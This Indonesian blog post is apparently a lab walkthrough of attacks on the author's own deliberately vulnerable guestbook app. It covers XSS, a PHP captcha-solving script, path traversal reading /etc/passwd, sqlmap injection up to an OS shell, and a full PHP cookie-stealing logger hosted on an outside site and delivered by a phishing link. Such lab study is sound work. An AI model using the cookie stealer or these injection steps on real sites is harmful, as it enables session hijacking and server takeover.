Web Hacking Tutorial & Lab (Do It Yourself!)

Di kesempatan lalu, saya pernah posting di blog ini tentang tutorial Hacking Anatomy (Plus Real Hacking Example). Untuk kesempatan kali ini saya akan posting studi kasus security hole di layer aplikasi yang dapat berimplikasi terhadap keamanan OS server nya. Sudah berapa lama ingin posting di blog tentang lanjutan cerita exploitasi, tapi selalu saja tidak sempat hahaha. Jadi, jika posting tutorial sebelumnya lebih ke exploitasi bug pada server, sekarang saatnya explorasi di layer aplikasi hehehe.

Disclaimer:

Semua informasi yang ada di postingan ini hanya studi kasus pada aplikasi yang dimiliki oleh saya sendiri dan pure untuk sharing ilmu. Penyalahgunaan ilmu, teknik & tools yang disampaikan disini bukan merupakan tanggung jawab saya.

Requirement tools

Tools yang digunakan dalam lab web hacking di posting ini adalah sbb:

  1. Nikto. Sebuah program berbasis CLI untuk melakukan high-level scan vulnerability pada aplikasi web.
  2. OWASP Zed Attack Proxy (ZAP). Sebuah desktop apps yang akan melakukan deep scan vulnerability pada aplikasi web.
  3. Sqlmap. Program berbasis CLI untuk melakukan exploitasi SQL injection. Dibutuhkan python2.7 agar program ini bisa running.
  4. Cookie Editor. Untuk melakukan modifikasi cookie pada web browser.

Prepare the Target

Websitenet ( https://inan.tibandung.com/pub/websitenet-vulnapps.html )

Target website dalam tutorial lab ini adalah sebuah website bernama websitenet yang pernah saya buat iseng-iseng sekitar tahun 2010 yang memang sengaja disiapkan banyak hole agar bisa di exploitasi hahaha. Ya, website ini memang dibuat sedemikian sehingga vulnerable dari berbagai macam teknik serangan web. Aplikasi untuk coba-coba ini (inget untuk coba-coba ya, hahaha -red) kemudian sempat saya poles sedikit biar rapi dan pada akhirnya bisa di publish untuk digunakan oleh siapa saja yang mau hands-on melakukan web hacking tapi bingung targetnya siapa heheh.

Let’s Start!

Di bawah ini adalah tampilan aplikasi websitenet saat pertama kali di buka. Websitenet adalah sebuah web dinamis yang memiliki fitur guestbook. Pengunjung bisa mengisi guestbook, melihat tamu yang sudah pernah mengisi guestbook, dan mencari tamu based-on email address. Websitenet di hosting di direktori bernama “websitenet” pada server victim 192.168.76.19. Sehingga dari URL bar webrowser akan terlihat menjadi http://192.168.76.19/websitenet/

Tampilan Halaman Utama Websitenet
Tampilan Halaman Utama Websitenet

As always… hacking itu lebih banyak seni nya daripada sains nya. Tidak ada ketetapan dalam hacking. Tidak ada ketentuan baku yang harus dituruti. Semua tergantung kreatifitas.

Dan inilah caraku…

Oke mari berkreatifitas. Pertama-tama, iseng-iseng saya coba scan menggunakan Nikto… (enak banget ya jadi hacker jaman sekarang, kerjaan nya di tinggalin sama scanner aja #ehh)

Result scan Nikto
Result scan Nikto

Dari informasi Nikto ini, ternyata ditemukan:

  • Servernya menggunakan CentOS dengan Apache versi 2.2.X dan PHP 5.3.3
  • HTTP-Only cookie not set, bisa steal cookie via XSS nih…
  • Ooo.. halaman admin terletak di URL /websitenet/admin…

Selanjutnya mencoba lakukan scan yang lebih komprehensif dengan ZAP…

Tampilan Aplikasi ZAP
Tampilan Aplikasi ZAP

Sedikit menunggu beberapa lama proses scan berlangsung, sambil makan kue2 cancik, dan cek hasilnya…. uwow, lumayan menemukan vulnerability pada website target…

Hasil scan ZAP
Hasil scan ZAP

Detail temuan yang dikotak merah di atas itu, sebagai berikut…

CROSS SITE SCRIPTING (XSS)

Ditemukan bug XSS pada URL tertentu di aplikasi web. Hal ini karena aplikasi web tidak melakukan filter input dari user.

XSS injection pada parameter 'x'
XSS injection pada parameter ‘x’

Mari kita coba langsung akses dengan web browser.. untuk validasi apakah bug tersebut memang ada di website nya… coba inject tag HTML standar, dan ternyata memang benar… di halaman websitenet kini muncul teks “asdfasdfasdfasdf”:

http://192.168.76.19/websitenet/guestbook.php?x=[xss_here]

Percobaan injection HTML tag di parameter 'x'
Percobaan injection HTML tag di parameter ‘x’

Bug XSS lainnya yang dilaporkan hasil scan ZAP adalah di form guestbook pada inputan email. Lagi-lagi karena aplikasi “websitenet” ini tidak melakukan validasi inputan dari user.

Hole XSS pada form input guestbook
Hole XSS pada form input guestbook

Mari validasi manual dengan web browser, coba masukkan script alert pada form email…

Input email dengan script alert
Input email dengan script alert

Setelah di input, klik menu “View Guestbook”, dan jreng-jreng.. box alert sukses muncul di web browser yang artinya script berhasil tersimpan di guestbook dan di load dengan sempurna oleh web browser

Box alert di load oleh browser
Box alert di load oleh browser

CAPTCHA CRACKING

Ngomong-ngomong soal form isian guestbook nya dari gambar di atas, form validasi captcha nya keliatan mureee banget. Hahaha. Jangan-jangan ini juga ada celahnya? Ya! Umumnya captcha menggunakan image, bukan teks karena tentu saja teks lebih mudah dibaca oleh bot. Walaupun image juga bisa dipecahkan dengan menggunakan OCR.

Dengan sebuah script sederhana, captcha di atas bisa kita ambil dan jumlahkan hasilnya. Sehingga implementasi captcha pada form ini menjadi sia-sia.

Code:

<?php
$url = "http://192.168.76.19/websitenet/guestbook.php";
$str = file_get_contents($url);
$pos1 = strpos($str,"TheCaptcha");
$x = substr($str,$pos1+11,-540);
$equation = str_replace(" ", "", $x);
eval("\$captcha=$equation;");
print $equation."=".$captcha."\n";
?>

Dengan menjalankan code di atas, seluruh captcha challenge dari form guestbook “websitenet” dapat dipecahkan dengan mudah…

Captcha cracking
Captcha cracking

Insight dari temuan ini: captcha dibuat untuk mempersulit BOT tapi tidak menyusahkan manusia. Kalau tidak menyusahkan bagi BOT sama sekali, mending ga usah pasang captcha sekalian hahaha…

PATH TRAVERSAL

Security hole selanjutnya yang ditemukan pada aplikasi websitenet adalah path traversal. Dimana si pembuat aplikasi (maksudnya saya hahaha -red) menggunakan fitur file inclusion pada aplikasinya. Namun dapat digunakan oleh orang-orang yang kreatif untuk membuka file lainnya pada server.

Katakanlah URL aslinya adalah http://192.168.76.19/websitenet/about.php?file=README.txt, namun seseorang yang iseng mencoba mengganti di URL bar web browsernya menjadi http://192.168.76.19/websitenet/about.php?file=/etc/passwd daaan BOOM muncullah semua isi file /etc/passwd pada Linux server. Kalau diganti jadi http://192.168.76.19/websitenet/about.php?file=/home/donjuan/affair_hotel_melati.jpg dan BOOM.. muncullah… gambar…….. Doraemon.

File inclusion bug
File inclusion bug

SQL INJECTION

Temuan selanjutnya dari informasi scanner ZAP adalah SQL injection pada form search guestbook, karena lagi-lagi tidak dilakukan filter pada inputan… Berikut temuannya:

Temuan celah SQL injection
Temuan celah SQL injection

Coba inject manual di halaman yang dilaporkan oleh ZAP, hasilnya memang input parameter ’email’ vulnerable, bahkan membocorkan informasi nama table dan column-nya sbb:

Manual test sql injection
Manual test sql injection

Mulai dari sini, saya akan menggunakan Sqlmap untuk exploitasi bug ini lebih dalam. Menurut laporan di atas, parameter ’email’ vulnerable dan bisa diinject syntax SQL. Okay, let’s launch the gun!

Sqlmap scan injectable parameter
Sqlmap scan injectable parameter

Validated by sqlmap, parameter email ternyata injectable. Mari kita gali lebih dalam celah tersebut…

Check db yang digunakan oleh aplikasi
Check db yang digunakan oleh aplikasi

Hasilnya, oo nama databasenya: ‘websitenet’:

Hasil cek db
Hasil cek db

Selanjutnya, enumerasi table-table yang terdapat di database ‘websitenet’

Check table di database 'websitenet'
Check table di database ‘websitenet’

Outputnya adalah list table yang ada di database sbb:

Hasil list table di db
Hasil list table di db

Wah ada table ‘users’ nih.. Biasanya isinya menarik ;P Mari lihat isi table ‘users’

Check column di table 'users'
Check column di table ‘users’

Hasilnya:

List column pada table 'user'
List column pada table ‘user’

Nah kan.. ada kolom email, username, password.. 😛

Selanjutnya kita dump isi table users tersebut:

Command untuk dump isi table 'users'
Command untuk dump isi table ‘users’

Hasil dump tersebut langsung dicoba untuk di crack juga dengan teknik dictionary attack. Ternyata ketebak. Wah, adminnya fans StarWars 😀

Dump password & cracking dengan sqlmap
Dump password & cracking dengan sqlmap

Tunggu dulu.. user ini jangan-jangan user yang digunakan untuk login di URL /websitenet/admin yang ditemukan tadi oleh tools Nikto?? Dicoba login ke halaman admin dengan 2 user ini, ternyata benar. Voila! Website PWNED!

Admin Page
Admin Page

Belum cukup sampai bisa menguasai website, bisakah kita masuk ke server? Ada banyak cara yang bisa dilakukan. Salah satunya dengan upload file PHP shell dengan menggunakan form upload di page admin ini, atau via advanced sql injection dengan menggunakan tool Sqlmap. Karena cara pertama sudah pernah saya bahas di blog ini, mari kita coba dengan Sqlmap hehe…

Sqlmap dilengkapi dengan fitur OS Shell yang dapat menggenerate file backdoor di webserver via SQL memanfaatkan syntax SQL “INTO OUTFILE”. Dengan syntax SQL tsb dapat dihasilkan sebuah file di server. Dan file yang akan dibuat tersebut, untuk kasus kita ini, isinya tak lain dan tak bukan adalah file PHP backdoor lah.. hahaha. Ujung-ujungnya hampir sama dengan cara pertama ‘kan..

Sqlmap options --os-shell
Sqlmap options –os-shell
Proses exploitasi OS shell
Proses exploitasi OS shell

Daaaaaann EUREKA… mister dije is in the house yoow…!!! Website & also server is PWNED!!! Step selanjutnya bisa eskalasi privilege menjadi root dengan teknik escalation privilege memanfaatkan bug di kernel Linux. Yang lagi booming saat saya menulis postingan ini adalah dengan teknik Dirtycow.

Shell PWNED
Shell PWNED

COOKIE STEALING

Celah terakhir (yang dibahas di blog ini) adalah proof bahwa cookie pada website ini dapat di hijack dan digunakan untuk bypass akses halaman yang sebetulnya membutuhkan otentikasi (halaman admin). Teknik yang digunakan adalah memasang perangkap link phishing pada suatu situs, dan diharapkan adminnya _yang sedang aktif login pada “websitenet”_ melakukan visit ke situs tersebut dan cookie nya dicuri.

Berikut ini potongan script untuk mencuri cookie admin nya:

<?php

function GetIP()
{
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
 $ip = getenv("HTTP_CLIENT_IP");
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
 $ip = getenv("HTTP_X_FORWARDED_FOR");
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
 $ip = getenv("REMOTE_ADDR");
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
 $ip = $_SERVER['REMOTE_ADDR'];
 else
 $ip = "unknown";
 return($ip);
}

function logData()
{
 $ipLog="log.txt";
 $cookie = $_SERVER['QUERY_STRING'];
 $register_globals = (bool) ini_get('register_gobals');
 if ($register_globals) $ip = getenv('REMOTE_ADDR');
 else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
 $user_agent = $_SERVER['HTTP_USER_AGENT'];
 $rqst_method = $_SERVER['METHOD'];
 $rem_host = $_SERVER['REMOTE_HOST'];
 $referer = $_SERVER['HTTP_REFERER'];
 $date=date ("l dS of F Y h:i:s A");
 $log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
 else
 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
 fclose($log);
}

logData();

?>

Kita beri nama “evil.php” dan hosting di situs tertentu, katakanlah situs: http://playboy.co.id/evil.php. Kirim link tsb ke adminnya, dan berharap adminnya klik link tersebut untuk visit situsnya. Saat sang admin visit situs perangkap tersebut, disisi lain, script “evil.php” di server playboy mencuri informasi cookie dan mencatat di log nya. Berikut value cookie si admin -yang sedang login di websitenet- saat ini yang tercatat di server playboy:

Value dari session cookie admin
Value dari session cookie admin

Saya tinggal buka chrome, mengisi session cookie menjadi yang sedang dipegang oleh admin tsb, dan visit halaman admin “websitenet”…

Edit value cookie menjadi seperti yang dimiliki admin
Edit value cookie menjadi seperti yang dimiliki admin

Save cookie tersebut dan refresh browser… Jreng jreng.. jadi sebenarnya tanpa perlu crack password admin di step-step sebelumnya, saya bisa juga masuk halaman admin ya! Hehehe…

Admin Page
Admin Page

Semoga cerita ala2 lab security ini bermanfaat…

One thought on “Web Hacking Tutorial & Lab (Do It Yourself!)

Leave a Reply

Your email address will not be published. Required fields are marked *